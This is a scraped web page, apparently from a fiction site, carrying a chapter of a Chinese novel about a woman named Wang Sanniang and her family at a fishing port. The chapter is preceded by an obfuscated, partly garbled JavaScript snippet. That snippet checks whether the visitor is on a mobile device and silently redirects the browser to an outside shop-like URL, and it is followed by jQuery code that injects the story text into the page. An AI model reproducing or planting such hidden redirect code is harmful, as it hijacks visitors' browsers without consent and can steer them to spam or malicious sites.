;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13612364|142000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都浸在海水里，手脚都泡得发麻。 低头看碗里的敲虾面，卖相实在好，她动了动筷子，拨弄了下，虾油慢慢浮动。 陈大发劝她，“你吃口，不吃我吃。” 王三娘一下来了劲，白他一眼，自己夹着滑溜溜的敲虾，用了点劲，塞进嘴里，使劲嚼着。 可哪要她这么用力，牙齿跟牙齿碰到，它就断了，虽说并不薄，淀粉让它变得嫩滑，滚水烫得它十分紧实。 她没有言语地在嘴里嚼完了敲虾，默默地喝了口汤，虾头煎出来的汤，明明是鲜的，她却尝到了苦咸的味道。 王三娘低头，她叹了一声，又看天，渔港天边有霞光，海鸥飞过来在不远处啄食，那有客人掉的虾头。 她看了会儿，又喝汤，吃起敲虾，等全部下肚后，她撸起袖子起身，把碗拿过去放在桶里。 系上腰巾就开始收拾锅碗瓢盆，把凳子叠起来，江盈知忙拦住她，“阿姑，我会收的。” “我闲着没事做，”王三娘撤了炉子的炭火，夹出来扔进小桶里，连续把活全给干完，一个人提着装了几十口碗的木桶上了船。 把一碗面吃出的活劲，全在这一通里消耗掉，坐在船上回去时，王三娘是想明白了。 活着活着，苦嚼碎了也得活。 哪有什么过不去的潮头关。 只她清醒过来，她拍着大腿，越想越亏，“白搭了一百五十文进去。” 江盈知在另一条船上哈哈笑，缩在各种器具里，给她支招，“阿姑我跟你说，你喊一百五十遍强胜，这花出去的钱就回了本，天天喊，年年喊，简直稳赚。” “这主意好，”陈大发附和。 一时两条船上的人都笑起来。 王三娘也接受了，又强迫西塘关众人改称呼，她自己每天至少连名带姓地叫二十遍陈强胜，她说这样好早日回本，弄得人哭笑不得。 后面江盈知叫陈强胜以后都跟她们一起出摊，之前只说是帮阵忙，这会儿却给他寻了个正经营生，也不用每日待在家里。 一日能有四五十文的赚头，陈强胜自然答应，也活得更有盼头。 一晃日子往后数了好几天，照常出摊，江盈知还学划船，渐渐地也能自己划到渔港。 生意渐渐安稳下来，这天，从明府来的航船停靠在渔港。 李翠文的丈夫来到摊子上，捎来一袋东西，和一封信。 江盈知拆开看了信里的内容，面上露出些许惊讶。 小梅忙问，“怎么了，是我晚娘出了事吗？” “不是，”江盈知收起信，她看着小梅说，“是你晚娘要回来了。”